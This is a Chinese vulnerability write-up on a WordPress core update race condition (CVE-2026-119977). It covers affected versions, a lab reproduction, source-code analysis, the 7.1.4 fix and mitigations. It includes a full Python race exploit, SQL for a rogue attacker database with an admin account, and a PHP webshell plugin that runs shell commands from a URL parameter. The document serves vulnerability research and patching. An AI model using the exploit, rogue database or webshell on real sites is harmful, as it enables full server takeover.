一、背景

最近笔者看到某测绘平台在2026年11月的检索数据,WordPress Core 竞争条件远程代码执行漏洞(CVE-2026-119977)关联的全球风险资产总数为1219476个,关联IP总数为379271个,国内风险资产总数为48714个,关联IP总数为14700个。涉及的资产还挺多,竞争条件导致的远程代码执行,刚好有时间,在这里搭环境研究下。

(以下所有环境均为笔者本地搭建环境复现,根据文章内容可复现)

二、漏洞详情

CVE官网介绍:https://www.cve.org/CVERecord?id=CVE-2026-119977

Score

Severity

Version Vector String

8.1

HIGH

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

WordPress 核心程序 4.7 至 7.1.3 版本存在远程代码执行(RCE)漏洞。漏洞成因:完整内核包升级过程中,会生成可被外网访问、路径可预测的临时过渡目录。未经身份验证的攻击者可在升级窗口期内,在服务器上执行恶意代码。

该漏洞源于完整包核心升级过程中,升级程序将更新包解压至 wp-content/upgrade/ 下基于包名生成的可预测、Web 可访问临时目录(相关代码位于 class-wp-upgrader.php、class-core-upgrader.php、update-core.php 等)。临时目录包含安装程序 setup-config.php,且在升级窗口期间可被外部 HTTP 请求直接执行。攻击者可利用该漏洞,在升级窗口内通过竞争条件注入恶意配置,最终实现任意代码执行,导致服务器完全沦陷。

三、受影响版本

4.7.0 <= WordPress <= 4.7.38

4.8.0 <= WordPress <= 4.8.33

4.9.0 <= WordPress <= 4.9.34

5.0.0 <= WordPress <= 5.0.30

5.1.0 <= WordPress <= 5.1.27

5.2.0 <= WordPress <= 5.2.29

5.3.0 <= WordPress <= 5.3.26

5.4.0 <= WordPress <= 5.4.24

5.5.0 <= WordPress <= 5.5.23

5.6.0 <= WordPress <= 5.6.22

5.7.0 <= WordPress <= 5.7.20

5.8.0 <= WordPress <= 5.8.18

5.9.0 <= WordPress <= 5.9.19

6.0.0 <= WordPress <= 6.0.17

6.1.0 <= WordPress <= 6.1.15

6.2.0 <= WordPress <= 6.2.14

6.3.0 <= WordPress <= 6.3.13

6.4.0 <= WordPress <= 6.4.13

6.5.0 <= WordPress <= 6.5.13

6.6.0 <= WordPress <= 6.6.10

6.7.0 <= WordPress <= 6.7.10

6.8.0 <= WordPress <= 6.8.11

6.9.0 <= WordPress <= 6.9.10

7.0.0 <= WordPress <= 7.0.7

7.1.0 <= WordPress <= 7.1.3

四、影响组件

WordPress 是全球最广泛使用的开源内容管理系统(CMS),基于 PHP 和 MySQL/MariaDB 构建,提供文章发布、页面管理、媒体库、插件扩展与主题换肤等完整建站能力。它既可通过 WordPress.org 官方托管服务使用,也可免费下载自建于各类 Web 服务器环境,凭借丰富的生态和易用性成为个人博客、企业官网、新闻媒体及电商平台的主流选择,目前为全球约 43% 的网站提供底层支撑。

五、利用条件

1、正在执行完整包核心升级更新。

2、暂存目录可公开访问。

3、暂存路径可预测。

六、环境搭建

1、受害者端

Apache v2.4.39

MySQL v8.0.12(地址:127.0.0.1,端口:3306)

Wordpress v7.1.2 (测试将v7.1.2版本升级到v7.1.3)

2、攻击者端

因为笔者是在同一天机器上做测试,攻击侧数据库的端口为3307,真实攻击里,3307 对应的就是攻击者自己 VPS 上的 MySQL。

MySQL v8.0.12(地址:127.0.0.1,端口:3307),库名evil712,其中包含三张表,这里笔者测试最少需要三张,保持替换后可登录后台并上传恶意插件执行系统命令。

(具体的建表sql可以参考附录)

使用该数据库替换掉受害者的数据库。

七、漏洞复现

(1)准备poc,先不运行(poc脚本见附录)

POST /wp-content/upgrade/wordpress-7.1.3/wordpress/wp-admin/setup-config.php?step=2&noapi=1 HTTP/1.1
Host: wp712.com
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 91

dbname=evil712&uname=evil&pwd=evilpass&dbhost=127.0.0.1%3A3307&prefix=wp_&noapi=1&language=

(2)受害者登录后台、点击更新

用户名/密码:siteadmin / SiteAdmin#2026(内部测试环境,后面会替换掉该用户登录)

当前版本7.1.2,点击“Update to version 7.1.3”,接着快速运行poc

(3)攻击成功

替换数据库,新增用户attacker/Attacker#2026

(4)接管后台

版本已经升级到7.1.3

(5)上传插件

插件使用压缩包的形式上传,内容如下:

<?php

if ( isset( $_GET['c'] ) ) {
	echo shell_exec( $_GET['c'] );
}

(6)访问插件执行命令

成功执行系统命令,漏洞复现完成!

八、利用流程

1、攻击者提前轮询

在管理员操作之前,持续请求目标站点的 wp-content/upgrade/ 和暂存安装器路径,等待升级开始。

2、管理员点更新

在后台点击“更新到 7.1.3”,WordPress 进入核心升级流程,向 downloads.wordpress.org 请求更新包。

3、下载更新包

官网返回 wordpress-7.1.3.zip,并带 Content-Disposition: filename=wordpress-7.1.3.zip,download_url() 据此把临时文件重命名。

4、解压到暂存目录

升级器把包解压到 wp-content/upgrade/wordpress-7.1.3/,目录名直接来自包文件名,可预测。

5、暂存目录可访问

该目录在 Web 根下,且没有禁止 PHP 执行,攻击者可以直接请求里面的 setup-config.php。

6、发送未认证 POST

攻击者向暂存安装器提交 dbname、uname、pwd、dbhost 等参数,不需要任何登录。

7、安装器接受参数

暂存副本没有 wp-config.php,安装器认为站点未安装,于是用攻击者给的参数去连数据库。

8、写入暂存配置

连接攻击者 MySQL 成功后,安装器把这些参数写进暂存目录的 wp-config.php。

9、校验和撑开窗口

升级器在复制前请求官方校验和,这个外网请求让“解压完成”到“开始复制”之间多出几秒。

10、复制时拍快照

copy_dir() 在复制开始时才读取目录,攻击者刚写下的 wp-config.php 因此进入快照。

11、覆盖正式配置

快照被复制到站点根目录,正式的 wp-config.php 被替换,站点改为连接攻击者的数据库。

12、登录后台

站点从攻击者库读取 wp_users 和角色,攻击者用 attacker / Attacker#2026 登录,成为 administrator。

13、上传插件

管理员本来就能上传插件,攻击者传入一个含 PHP 的插件包,文件落到 wp-content/plugins/。

14、执行系统命令

wp-content/plugins/目录下php文件可直接访问执行。

九、漏洞分析

1、入口:后台点更新

wp-admin/update-core.php -> do_core_upgrade()

点击更新,会传给do_core_upgrade()函数version=7.1.3&locale=en_US,接着传值给find_core_update()

$version = $_POST['version'] ?? false;
$locale  = $_POST['locale'] ?? 'en_US';
$update  = find_core_update( $version, $locale );

wp-admin/includes/update.php -> find_core_update()

221: function find_core_update( $version, $locale ) {
222: 	$from_api = get_site_transient( 'update_core' );
223: 	if ( ! isset( $from_api->updates ) || ! is_array( $from_api->updates ) ) {
224: 		return false;
225: 	}
226: 	$updates = $from_api->updates;
227: 	foreach ( $updates as $update ) {
228: 		if ( $update->current === $version && $update->locale === $locale ) {
229: 			return $update;
230: 		}
231: 	}
232: 	return false;

find_core_update()的作用是在 update_core 这个 transient 的更新列表里,按“版本 + 语言”精确查找一条更新记录,找到返回整个对象,找不到返回 false。

这里是在本地数据库里找,默认升级到7.1.4版本。

SELECT option_name, option_value
FROM t712_options
WHERE option_name LIKE '%update_core%';

这里笔者没有使用默认的升级方式,因为复现漏洞需要从7.1.2->7.1.3版本,这里使用插件完成阻拦替换

使用pin-upgrade.php插件,返回挂 pre_site_transient_update_core,强制返回 7.1.3 的更新 offer。

https://downloads.wordpress.org/release/wordpress-7.1.3.zip

2、选包:四种候选,默认 full

wp-admin/includes/class-core-upgrader.php -> upgrade()

109: 		if ( $parsed_args['do_rollback'] && $current->packages->rollback ) {
...
116: 		} elseif ( $current->packages->no_content ) {
117: 			$to_download = 'no_content';
118: 		} else {
119: 			$to_download = 'full';
120: 		}

候选有 rollback、partial、new_bundled、no_content、full。

pin-upgrade.php插件 里 partial=false、no_content=false、new_bundled=false,所以落到 $to_download = 'full'。选定后调用 download_package()。

$download = $this->download_package( $current->packages->$to_download, false );

接着再看download_package()函数如何获取文件

3、下载:从官网获取更新包

wp-admin/includes/class-wp-upgrader.php -> download_package()


		if ( ! preg_match( '!^(http|https|ftp)://!i', $package ) && file_exists( $package ) ) { // Local file or remote?
			return $package; // Must be a local file.
		}

    $download_file = download_url( $package, 300, $check_signatures );

值是 https 开头,本地文件分支不成立,走 download_url。

进入download_url()函数:

wp-admin/includes/file.php -> download_url()

1172: 	$tmpfname = wp_tempnam( $url_filename );

再看wp_tempnam()函数

4、临时文件名:6 位随机后缀

wp-admin/includes/file.php -> wp_tempnam()

$temp_filename = basename( $filename );
$temp_filename = preg_replace( '|\.[^.]*$|', '', $temp_filename );
...
$temp_filename .= '-' . wp_generate_password( 6, false );
$temp_filename .= '.tmp';

先取包名、去掉扩展名,得到 wordpress-7.1.3,再拼 - 加 6 位随机字符和 .tmp。下载到本地的文件因此形如 wordpress-7.1.3-AbC123.tmp。下载完成后 Content-Disposition 会该会重命名,接着往下

5、临时文件被改名

wp-admin/includes/file.php -> download_url()

$content_disposition = wp_remote_retrieve_header( $response, 'Content-Disposition' );

	if ( $content_disposition ) {
		$content_disposition = strtolower( $content_disposition );

		if ( str_starts_with( $content_disposition, 'attachment; filename=' ) ) {
			$tmpfname_disposition = sanitize_file_name( substr( $content_disposition, 21 ) );
		} else {
			$tmpfname_disposition = '';
		}

这一步将wordpress-7.1.3-AbC123.tmp重命名为wordpress-7.1.3.zip,文件名可确定。

6、解压目录:basename 直接当目录名

wp-admin/includes/class-wp-upgrader.php -> unpack_package()

$working_dir = $this->unpack_package( $download );
$upgrade_folder = $wp_filesystem->wp_content_dir() . 'upgrade/';
$working_dir = $upgrade_folder . basename( basename( $package, '.tmp' ), '.zip' );
$result = unzip_file( $package, $working_dir );

先把 upgrade 目录清空),再用包文件名去掉 .tmp/.zip 当目录名。包叫 wordpress-7.1.3.zip,目录就是 wp-content/upgrade/wordpress-7.1.3/。

7、暂存目录:在 Web 根下,且没有 index.php

wp-admin/includes/class-wp-upgrader.php -> unpack_package()

369: 		// Clean up contents of upgrade directory beforehand.
370: 		$upgrade_files = $wp_filesystem->dirlist( $upgrade_folder );
371: 		if ( ! empty( $upgrade_files ) ) {
372: 			foreach ( $upgrade_files as $file ) {
373: 				$wp_filesystem->delete( $upgrade_folder . $file['name'], true );

wp_content_dir() 就是站点根下的 wp-content/,所以 upgrade 目录天然可被 Web 访问。7.1.4 之前这里既不放 index.php,也不拒绝 PHP,清空时还会把所有内容都删掉、不留占位文件。如果服务器开了目录列表,攻击者能直接看到 wordpress-7.1.3/。

8、安装器:以“自己所在目录”为 ABSPATH

wp-admin/setup-config.php -> 文件顶层

30: 	define( 'ABSPATH', dirname( __DIR__ ) . '/' );
33: 	require ABSPATH . 'wp-settings.php';
...
59: if ( file_exists( ABSPATH . 'wp-config.php' ) ) {

ABSPATH 是 setup-config.php 自己所在的目录,也就是暂存目录,不是正式站点根。升级包本身不带 wp-config.php,所以第 59 行判断为假,安装器认为这是一个全新站点,继续走安装流程。

9、输入:四个数据库字段全部来自 POST

wp-admin/setup-config.php -> case 2

282: 		$dbname = trim( wp_unslash( $_POST['dbname'] ) );
283: 		$uname  = trim( wp_unslash( $_POST['uname'] ) );
284: 		$pwd    = trim( wp_unslash( $_POST['pwd'] ) );
285: 		$dbhost = trim( wp_unslash( $_POST['dbhost'] ) );
286: 		$prefix = trim( wp_unslash( $_POST['prefix'] ) );

没有 nonce、没有登录校验、没有来源检查;prefix 只做了空值和字符集校验。任何人只要能访问这个文件,就能提交自己的数据库参数。

10、连接与落盘:把攻击者参数写进暂存配置

wp-admin/setup-config.php -> case 2 与写文件

317: 		define( 'DB_NAME', $dbname );
...
325: 		require_wp_db();
331: 		$wpdb->db_connect();
...
469: 			$handle        = fopen( $path_to_wp_config, 'w' );
477: 					fwrite( $handle, $line );

先按攻击者的参数连数据库,连接失败就 wp_die;成功则把参数写进暂存目录的 wp-config.php。到这里,攻击者已经控制了一份“升级目录里的配置文件”。这里写进暂存目录的文件,怎么会被当成升级内容,接着向下分析。

11、关键:复制逻辑来自“目标版本”

wp-admin/includes/class-core-upgrader.php -> upgrade()

163: 		if ( ! $wp_filesystem->copy( $working_dir . '/wordpress/wp-admin/includes/update-core.php', $wp_dir . 'wp-admin/includes/update-core.php', true ) ) {
...
171: 		require_once ABSPATH . 'wp-admin/includes/update-core.php';
...
178: 		$result = update_core( $working_dir, $wp_dir );

解压后,升级器先把新包里的 update-core.php 覆盖到站点并 require。也就是说,接下来执行复制的是目标版本的代码,不是当前正在跑的版本。7.1.2 升 7.1.3,执行的是 7.1.3 的 update_core()。

12、目标 7.1.3:skip 名单里没有 wp-config.php

wp-admin/includes/update-core.php -> update_core()

1549: 	$skip = array( 'wp-content', 'wp-includes/version.php' );
...
1639: 	$result = copy_dir( $from . $distro, $to, $skip );

跳过名单只有 wp-content 和 version.php。wp-config.php 不在名单里,只要它出现在要复制的目录中,就会被复制到站点根目录。接着看 copy_dir 是什么时候读目录的

13、copy_dir:复制开始才拍快照

wp-admin/includes/file.php -> copy_dir()

2025: 	$dirlist = $wp_filesystem->dirlist( $from );
...
2042: 	foreach ( (array) $dirlist as $filename => $fileinfo ) {
2043: 		if ( in_array( $filename, $skip_list, true ) ) {
2044: 			continue;

它在复制开始时才 dirlist,而不是用原始包清单。解压之后、这一行之前被创建的文件,都会被当成“升级内容”。攻击者的 wp-config.php 就是在这一步进入清单的。那么攻击者写入和这一行之间,有多长时间,接着看

14、窗口:checksums 的外网请求

wp-admin/includes/update-core.php -> update_core()

1553: 	if ( function_exists( 'get_core_checksums' ) ) {
1555: 		$working_dir_local = WP_CONTENT_DIR . '/upgrade/' . basename( $from ) . $distro;
1557: 		$checksums = get_core_checksums( $wp_version, $wp_local_package ?? 'en_US' );

在 copy_dir 之前,update_core 要先拉官方校验和。这是一次外网请求,几秒量级——正好把“解压完成”到“拍快照”之间的窗口撑开。攻击者的 POST 必须在这几秒内完成写入。

15、完整总结

三处代码分别是:

  • 目录名来自包名,本身是为了“可读、可复用”;

  • 安装器接受 POST,本身是为了“全新安装”;

  • copy_dir 重新读目录,本身是为了“复制实际文件”。

单独看都没写错。叠加起来:目录可预测 → 暂存目录可访问 → 安装器接受匿名输入 → 写入的文件被复制 → 正式配置被覆盖。

触发条件缺一不可:

  1. 目标版本的 update-core.php 的 skip 不含 wp-config.php;

  2. 暂存目录名可预测(本地包,或官网带 Content-Disposition);

  3. 暂存目录在 Web 根下且 PHP 可执行;

  4. 暂存树里没有 wp-config.php(升级包不带);

  5. 受害机能连到攻击者数据库;

  6. POST 落在 dirlist 之前。

16、对比:7.1.3 升 7.1.4 改了什么

wp-admin/includes/update-core.php -> update_core()(7.1.4)

1548: 	 * Never copy a wp-config.php, which could have been written to the working directory.
1550: 	$skip              = array( 'wp-content', 'wp-includes/version.php', 'wp-config.php' );

wp-admin/includes/class-wp-upgrader.php -> unpack_package()(7.1.4)

354: 	private function get_working_dir_name( $package ) {
358: 		return $name . '-' . wp_generate_password( 16, false );
...
404: 		if ( ! $wp_filesystem->exists( $upgrade_folder . 'index.php' ) ) {
405: 			$wp_filesystem->put_contents( $upgrade_folder . 'index.php', "<?php\n// Silence is golden.\n", FS_CHMOD_FILE );
409: 		$working_dir = $upgrade_folder . $this->get_working_dir_name( $package );

三处修复分别对应:目录名不可预测、upgrade 目录不可列、复制时排除 wp-config.php。

但要注意执行顺序:7.1.3 升 7.1.4 时,跑的还是 7.1.3 的 unpack_package,所以随机目录和 index.php 这两处这次并不生效;真正生效的是新包里的 update-core.php,它的 skip 把 wp-config.php 排除了。

十、修复措施

目前 WordPress 官方已发布安全更新,建议受影响用户尽快升级至对应修复版本:

WordPress 4.7.* >= 4.7.39

WordPress 4.8.* >= 4.8.34

WordPress 4.9.* >= 4.9.35

WordPress 5.0.* >= 5.0.31

WordPress 5.1.* >= 5.1.28

WordPress 5.2.* >= 5.2.30

WordPress 5.3.* >= 5.3.27

WordPress 5.4.* >= 5.4.25

WordPress 5.5.* >= 5.5.24

WordPress 5.6.* >= 5.6.23

WordPress 5.7.* >= 5.7.21

WordPress 5.8.* >= 5.8.19

WordPress 5.9.* >= 5.9.20

WordPress 6.0.* >= 6.0.18

WordPress 6.1.* >= 6.1.16

WordPress 6.2.* >= 6.2.15

WordPress 6.3.* >= 6.3.14

WordPress 6.4.* >= 6.4.14

WordPress 6.5.* >= 6.5.14

WordPress 6.6.* >= 6.6.11

WordPress 6.7.* >= 6.7.11

WordPress 6.8.* >= 6.8.12

WordPress 6.9.* >= 6.9.11

WordPress 7.0.* >= 7.0.8

WordPress 7.1.* >= 7.1.4

站点管理员可通过 WordPress 后台进行升级,也可从 WordPress 官方渠道下载最新安装包进行手动更新。

若站点已开启自动更新,应确认核心版本已成功更新至修复版本。

官方公告地址:

https://wordpress.org/news/2026/10/wordpress-7-1-4/

临时缓解措施:

1.在升级前通过 Web 服务器配置(.htaccess、Nginx 规则等)拒绝对 /wp-content/upgrade/ 的 HTTP 访问。

2.使用 WAF /防火墙拦截对 setup-config.php 及 wp-content/upgrade 路径的异常请求。

十一、参考链接

1、https://xint.io/blog/wordpress-core-update-attack

2、https://www.cve.org/CVERecord?id=CVE-2026-119977

附录一

POC如下:

import argparse
import re
import time
import requests

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--base", default="http://wp712.com")
    ap.add_argument("--dir", default="wordpress-7.1.3")
    ap.add_argument("--discover", action="store_true",
                    help="resolve the staging dir from the directory listing")
    ap.add_argument("--dbname", default="evil712")
    ap.add_argument("--dbuser", default="evil")
    ap.add_argument("--dbpass", default="evilpass")
    ap.add_argument("--dbhost", default="127.0.0.1:3307")
    ap.add_argument("--prefix", default="wp_")
    ap.add_argument("--duration", type=int, default=240)
    args = ap.parse_args()

    session = requests.Session()
    session.trust_env = False

    staged_dir = args.dir
    if args.discover:
        listing = args.base + "/wp-content/upgrade/"
        print("[*] waiting for the listing to reveal wordpress-7.1.3(-XXXXXX)/")
        end = time.time() + args.duration
        while time.time() < end:
            try:
                r = session.get(listing, timeout=5)
                m = re.findall(
                    r'href="(wordpress-7\.1\.3(?:-[A-Za-z0-9]{6})?)/"', r.text
                )
                if m:
                    staged_dir = m[0]
                    break
            except requests.RequestException:
                pass
            time.sleep(0.2)
        else:
            print("[-] staging directory never showed up in the listing")
            return 1
        print(f"[+] discovered {staged_dir}")

    url = (f"{args.base}/wp-content/upgrade/{staged_dir}/wordpress"
           "/wp-admin/setup-config.php?step=2&noapi=1")
    data = {
        "dbname": args.dbname, "uname": args.dbuser, "pwd": args.dbpass,
        "dbhost": args.dbhost, "prefix": args.prefix,
        "noapi": "1", "language": "",
    }

    print(f"[*] target : {args.base}")
    print(f"[*] staged : wp-content/upgrade/{staged_dir}/wordpress/")
    print(f"[*] database: {args.dbname} @ {args.dbhost}")
    print("[*] anonymous POSTs; 404 until the upgrader creates the tree")

    t0 = time.time()
    end = t0 + args.duration
    attempts = 0
    while time.time() < end:
        attempts += 1
        resp = None
        try:
            resp = session.post(url, data=data, timeout=3)
            body = resp.text
        except requests.RequestException:
            body = ""
        if "install.php" in body:
            print(f"[+] config written after {attempts} POSTs "
                  f"({time.time() - t0:.1f}s, HTTP {resp.status_code})")
            break
        if attempts % 500 == 0:
            code = resp.status_code if resp is not None else 0
            print(f"    ... {attempts} POSTs, last HTTP {code}")
        time.sleep(0.005)
    else:
        print("[-] no write before the deadline")
        return 1

    print("[*] waiting for the upgrader to copy the staged wp-config.php")
    end = time.time() + 120
    while time.time() < end:
        try:
            check = session.get(args.base + "/", timeout=10)
            if "Evil Site" in check.text:
                print("[+] live site now uses the attacker database ('Evil Site')")
                print("[+] done: log in as attacker / Attacker#2026")
                return 0
        except requests.RequestException:
            pass
        time.sleep(2)

    print("[-] site never switched to the attacker database")
    return 1


if __name__ == "__main__":
    raise SystemExit(main())

附录二

攻击者建立数据库SQL语句:

CREATE DATABASE IF NOT EXISTS evil712 CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_520_ci;
CREATE USER IF NOT EXISTS 'evil'@'%' IDENTIFIED WITH mysql_native_password BY 'evilpass';
GRANT ALL ON evil712.* TO 'evil'@'%';
FLUSH PRIVILEGES;
USE evil712;

/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
 SET NAMES utf8 ;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;
DROP TABLE IF EXISTS `wp_options`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
 SET character_set_client = utf8mb4 ;
CREATE TABLE `wp_options` (
  `option_id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `option_name` varchar(191) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_520_ci NOT NULL DEFAULT '',
  `option_value` longtext CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_520_ci NOT NULL,
  `autoload` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_520_ci NOT NULL DEFAULT 'yes',
  PRIMARY KEY (`option_id`),
  UNIQUE KEY `option_name` (`option_name`),
  KEY `autoload` (`autoload`)
) ENGINE=MyISAM AUTO_INCREMENT=197 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_520_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

-- 16 rows: siteurl/home must match the victim URL; wp_user_roles is required.
LOCK TABLES `wp_options` WRITE;
/*!40000 ALTER TABLE `wp_options` DISABLE KEYS */;
INSERT INTO `wp_options` VALUES (2,'siteurl','http://wp712.com','on'),(3,'home','http://wp712.com','on'),(4,'blogname','Evil Site','on'),(5,'blogdescription','','on'),(6,'users_can_register','0','on'),(7,'admin_email','attacker@example.com','on'),(29,'permalink_structure','','on'),(32,'blog_charset','UTF-8','on'),(34,'active_plugins','a:0:{}','on'),(41,'template','twentytwentyfive','on'),(42,'stylesheet','twentytwentyfive','on'),(46,'default_role','subscriber','on'),(47,'db_version','61833','on'),(52,'show_on_front','posts','on'),(81,'timezone_string','','on'),(103,'wp_user_roles','a:5:{s:13:\"administrator\";a:2:{s:4:\"name\";s:13:\"Administrator\";s:12:\"capabilities\";a:61:{s:13:\"switch_themes\";b:1;s:11:\"edit_themes\";b:1;s:16:\"activate_plugins\";b:1;s:12:\"edit_plugins\";b:1;s:10:\"edit_users\";b:1;s:10:\"edit_files\";b:1;s:14:\"manage_options\";b:1;s:17:\"moderate_comments\";b:1;s:17:\"manage_categories\";b:1;s:12:\"manage_links\";b:1;s:12:\"upload_files\";b:1;s:6:\"import\";b:1;s:15:\"unfiltered_html\";b:1;s:10:\"edit_posts\";b:1;s:17:\"edit_others_posts\";b:1;s:20:\"edit_published_posts\";b:1;s:13:\"publish_posts\";b:1;s:10:\"edit_pages\";b:1;s:4:\"read\";b:1;s:8:\"level_10\";b:1;s:7:\"level_9\";b:1;s:7:\"level_8\";b:1;s:7:\"level_7\";b:1;s:7:\"level_6\";b:1;s:7:\"level_5\";b:1;s:7:\"level_4\";b:1;s:7:\"level_3\";b:1;s:7:\"level_2\";b:1;s:7:\"level_1\";b:1;s:7:\"level_0\";b:1;s:17:\"edit_others_pages\";b:1;s:20:\"edit_published_pages\";b:1;s:13:\"publish_pages\";b:1;s:12:\"delete_pages\";b:1;s:19:\"delete_others_pages\";b:1;s:22:\"delete_published_pages\";b:1;s:12:\"delete_posts\";b:1;s:19:\"delete_others_posts\";b:1;s:22:\"delete_published_posts\";b:1;s:20:\"delete_private_posts\";b:1;s:18:\"edit_private_posts\";b:1;s:18:\"read_private_posts\";b:1;s:20:\"delete_private_pages\";b:1;s:18:\"edit_private_pages\";b:1;s:18:\"read_private_pages\";b:1;s:12:\"delete_users\";b:1;s:12:\"create_users\";b:1;s:17:\"unfiltered_upload\";b:1;s:14:\"edit_dashboard\";b:1;s:14:\"update_plugins\";b:1;s:14:\"delete_plugins\";b:1;s:15:\"install_plugins\";b:1;s:13:\"update_themes\";b:1;s:14:\"install_themes\";b:1;s:11:\"update_core\";b:1;s:10:\"list_users\";b:1;s:12:\"remove_users\";b:1;s:13:\"promote_users\";b:1;s:18:\"edit_theme_options\";b:1;s:13:\"delete_themes\";b:1;s:6:\"export\";b:1;}}s:6:\"editor\";a:2:{s:4:\"name\";s:6:\"Editor\";s:12:\"capabilities\";a:34:{s:17:\"moderate_comments\";b:1;s:17:\"manage_categories\";b:1;s:12:\"manage_links\";b:1;s:12:\"upload_files\";b:1;s:15:\"unfiltered_html\";b:1;s:10:\"edit_posts\";b:1;s:17:\"edit_others_posts\";b:1;s:20:\"edit_published_posts\";b:1;s:13:\"publish_posts\";b:1;s:10:\"edit_pages\";b:1;s:4:\"read\";b:1;s:7:\"level_7\";b:1;s:7:\"level_6\";b:1;s:7:\"level_5\";b:1;s:7:\"level_4\";b:1;s:7:\"level_3\";b:1;s:7:\"level_2\";b:1;s:7:\"level_1\";b:1;s:7:\"level_0\";b:1;s:17:\"edit_others_pages\";b:1;s:20:\"edit_published_pages\";b:1;s:13:\"publish_pages\";b:1;s:12:\"delete_pages\";b:1;s:19:\"delete_others_pages\";b:1;s:22:\"delete_published_pages\";b:1;s:12:\"delete_posts\";b:1;s:19:\"delete_others_posts\";b:1;s:22:\"delete_published_posts\";b:1;s:20:\"delete_private_posts\";b:1;s:18:\"edit_private_posts\";b:1;s:18:\"read_private_posts\";b:1;s:20:\"delete_private_pages\";b:1;s:18:\"edit_private_pages\";b:1;s:18:\"read_private_pages\";b:1;}}s:6:\"author\";a:2:{s:4:\"name\";s:6:\"Author\";s:12:\"capabilities\";a:10:{s:12:\"upload_files\";b:1;s:10:\"edit_posts\";b:1;s:20:\"edit_published_posts\";b:1;s:13:\"publish_posts\";b:1;s:4:\"read\";b:1;s:7:\"level_2\";b:1;s:7:\"level_1\";b:1;s:7:\"level_0\";b:1;s:12:\"delete_posts\";b:1;s:22:\"delete_published_posts\";b:1;}}s:11:\"contributor\";a:2:{s:4:\"name\";s:11:\"Contributor\";s:12:\"capabilities\";a:5:{s:10:\"edit_posts\";b:1;s:4:\"read\";b:1;s:7:\"level_1\";b:1;s:7:\"level_0\";b:1;s:12:\"delete_posts\";b:1;}}s:10:\"subscriber\";a:2:{s:4:\"name\";s:10:\"Subscriber\";s:12:\"capabilities\";a:2:{s:4:\"read\";b:1;s:7:\"level_0\";b:1;}}}','on');
/*!40000 ALTER TABLE `wp_options` ENABLE KEYS */;
UNLOCK TABLES;
DROP TABLE IF EXISTS `wp_usermeta`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
 SET character_set_client = utf8mb4 ;
CREATE TABLE `wp_usermeta` (
  `umeta_id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `user_id` bigint(20) unsigned NOT NULL DEFAULT '0',
  `meta_key` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_520_ci DEFAULT NULL,
  `meta_value` longtext CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_520_ci,
  PRIMARY KEY (`umeta_id`),
  KEY `user_id` (`user_id`),
  KEY `meta_key` (`meta_key`(191))
) ENGINE=MyISAM AUTO_INCREMENT=23 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_520_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

LOCK TABLES `wp_usermeta` WRITE;
/*!40000 ALTER TABLE `wp_usermeta` DISABLE KEYS */;
INSERT INTO `wp_usermeta` VALUES (1,1,'nickname','attacker'),(5,1,'rich_editing','true'),(6,1,'syntax_highlighting','true'),(9,1,'admin_color','modern'),(10,1,'use_ssl','0'),(11,1,'show_admin_bar_front','true'),(12,1,'locale',''),(13,1,'wp_capabilities','a:1:{s:13:\"administrator\";b:1;}'),(14,1,'wp_user_level','10'),(16,1,'show_welcome_panel','1');
/*!40000 ALTER TABLE `wp_usermeta` ENABLE KEYS */;
UNLOCK TABLES;
DROP TABLE IF EXISTS `wp_users`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
 SET character_set_client = utf8mb4 ;
CREATE TABLE `wp_users` (
  `ID` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `user_login` varchar(60) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_520_ci NOT NULL DEFAULT '',
  `user_pass` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_520_ci NOT NULL DEFAULT '',
  `user_nicename` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_520_ci NOT NULL DEFAULT '',
  `user_email` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_520_ci NOT NULL DEFAULT '',
  `user_url` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_520_ci NOT NULL DEFAULT '',
  `user_registered` datetime NOT NULL DEFAULT '1970-01-01 00:00:00',
  `user_activation_key` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_520_ci NOT NULL DEFAULT '',
  `user_status` int(11) NOT NULL DEFAULT '0',
  `display_name` varchar(250) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_520_ci NOT NULL DEFAULT '',
  PRIMARY KEY (`ID`),
  KEY `user_login_key` (`user_login`),
  KEY `user_nicename` (`user_nicename`),
  KEY `user_email` (`user_email`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_520_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

LOCK TABLES `wp_users` WRITE;
